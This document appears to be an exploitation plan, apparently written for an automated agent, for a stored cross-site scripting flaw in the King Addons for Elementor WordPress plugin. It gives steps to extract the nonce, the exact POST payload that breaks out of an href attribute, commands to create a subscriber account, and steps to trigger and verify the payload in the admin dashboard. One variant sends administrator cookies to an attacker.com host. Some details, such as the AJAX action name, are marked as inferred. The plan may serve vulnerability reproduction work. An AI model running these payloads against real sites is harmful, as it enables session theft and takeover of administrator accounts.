Exploitation Research Plan - King Addons for Elementor (Stored XSS)

1. Vulnerability Summary

The King Addons for Elementor plugin (versions <= 51.1.62) is vulnerable to Stored Cross-Site Scripting (XSS) via the form_page_id parameter. The vulnerability occurs because the plugin stores this parameter using sanitize_text_field()—which permits double-quote characters (")—and later renders it in the WordPress admin dashboard without proper URL escaping. Specifically, the value is concatenated into an HTML href attribute using admin_url() but is not wrapped in esc_url() before being echoed in a custom column in the submissions list.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: king_addons_form_submission or king_addons_post_submission (inferred from plugin functionality)
• Vulnerable Parameter: form_page_id
• Authentication: Subscriber-level access or above is required to reach the vulnerable code path (as per CVE description).
• Preconditions: The "Form" widget or "Submissions" extension must be active.

3. Code Flow

1. Submission Entry: An authenticated user (Subscriber+) submits a form powered by King Addons. The request is sent to an AJAX handler (likely registered in an extension file not fully shown in the snippet).
2. Data Processing: The handler calls add_to_submissions(). Inside this function:
   • $_POST['form_page_id'] is captured.
   • It is "sanitized" using sanitize_text_field($_POST['form_page_id']).
3. Storage: The value is stored as post meta (likely _form_page_id or similar) for a new king_submission post type.
4. Admin Display: An administrator navigates to the "Submissions" list in the WordPress dashboard.
5. Vulnerable Sink: The function king_addons_submissions_custom_column_content() (inferred to be located in includes/admin/submissions.php or similar) handles the display of the custom column.
   • It retrieves the meta: $page_id = get_post_meta($post_id, 'form_page_id', true);
   • It builds a URL: $edit_url = admin_url('post.php?post=' . $page_id . '&action=edit');
   • It outputs the link: echo '<a href="' . $edit_url . '">View Page</a>'; (Missing esc_url).
   • Because $page_id contains a double quote, the attacker can break out of the href attribute.

4. Nonce Acquisition Strategy

The form submission endpoint likely requires a nonce for security. Since the plugin uses wp_localize_script, the nonce is exposed in the frontend.

1. Identify the Shortcode: Find a page containing a "King Addons Form" or create one:
   wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[king_form id="123"]'
2. Navigate: Use browser_navigate to view the page.
3. Extract Nonce: Use browser_eval to find the localized script object. Based on common King Addons patterns, the variable is likely king_addons_form_params.
   • Command: browser_eval("window.king_addons_form_params?.nonce")
   • Note: If the above is missing, check for kingAddonsConfig or similar keys in the global window object.

5. Exploitation Strategy

Step 1: Submit Malicious Payload

Send a POST request to the AJAX endpoint with a payload designed to break out of the href attribute.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: king_addons_form_submission (inferred)
  • nonce: [EXTRACTED_NONCE]
  • form_page_id: 1" onmouseover="alert(document.domain)" style="display:block;width:1000px;height:1000px;" data-x="
  • form_id: 1 (or any valid ID)
  • fields[email]: test@example.com

Step 2: Trigger Execution

1. Log in as an Administrator.
2. Navigate to the King Addons Submissions page (likely wp-admin/admin.php?page=king-addons-submissions).
3. Hover over the "View Page" link in the submissions table.
4. The JavaScript alert(document.domain) will execute.

6. Test Data Setup

1. User: Create a subscriber user: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
2. Form: Ensure at least one King Addons form is created and its submissions are being tracked.
3. Page: Create a page with a King Form to extract the nonce.

7. Expected Results

• The AJAX request should return a success message (e.g., {"success":true}).
• In the database, the post_meta for the submission should contain the raw payload string: 1" onmouseover="alert(document.domain)" ....
• When the admin views the list table, the HTML source should look like:
  <a href="http://localhost:8080/wp-admin/post.php?post=1" onmouseover="alert(document.domain)" style="..." data-x="&action=edit">View Page</a>

8. Verification Steps

1. Check Database: wp post meta list [SUBMISSION_ID] --keys=form_page_id
2. Verify HTML Output: Access the submissions page and search for the payload in the DOM using browser_eval("document.body.innerHTML.includes('onmouseover=\"alert')").

9. Alternative Approaches

• Payload Variant: If onmouseover is filtered or difficult to trigger, try an autofocus payload:
  1" autofocus onfocus="alert(1)" x="
• Blind XSS: Instead of alert, use a fetch request to an external collaborator to prove execution in the admin context:
  1" onmouseover="fetch('https://attacker.com/log?c='+document.cookie)" x="
• Action Guessing: If king_addons_form_submission fails, use grep -r "wp_ajax" includes/ in the plugin directory to find the correct submission action.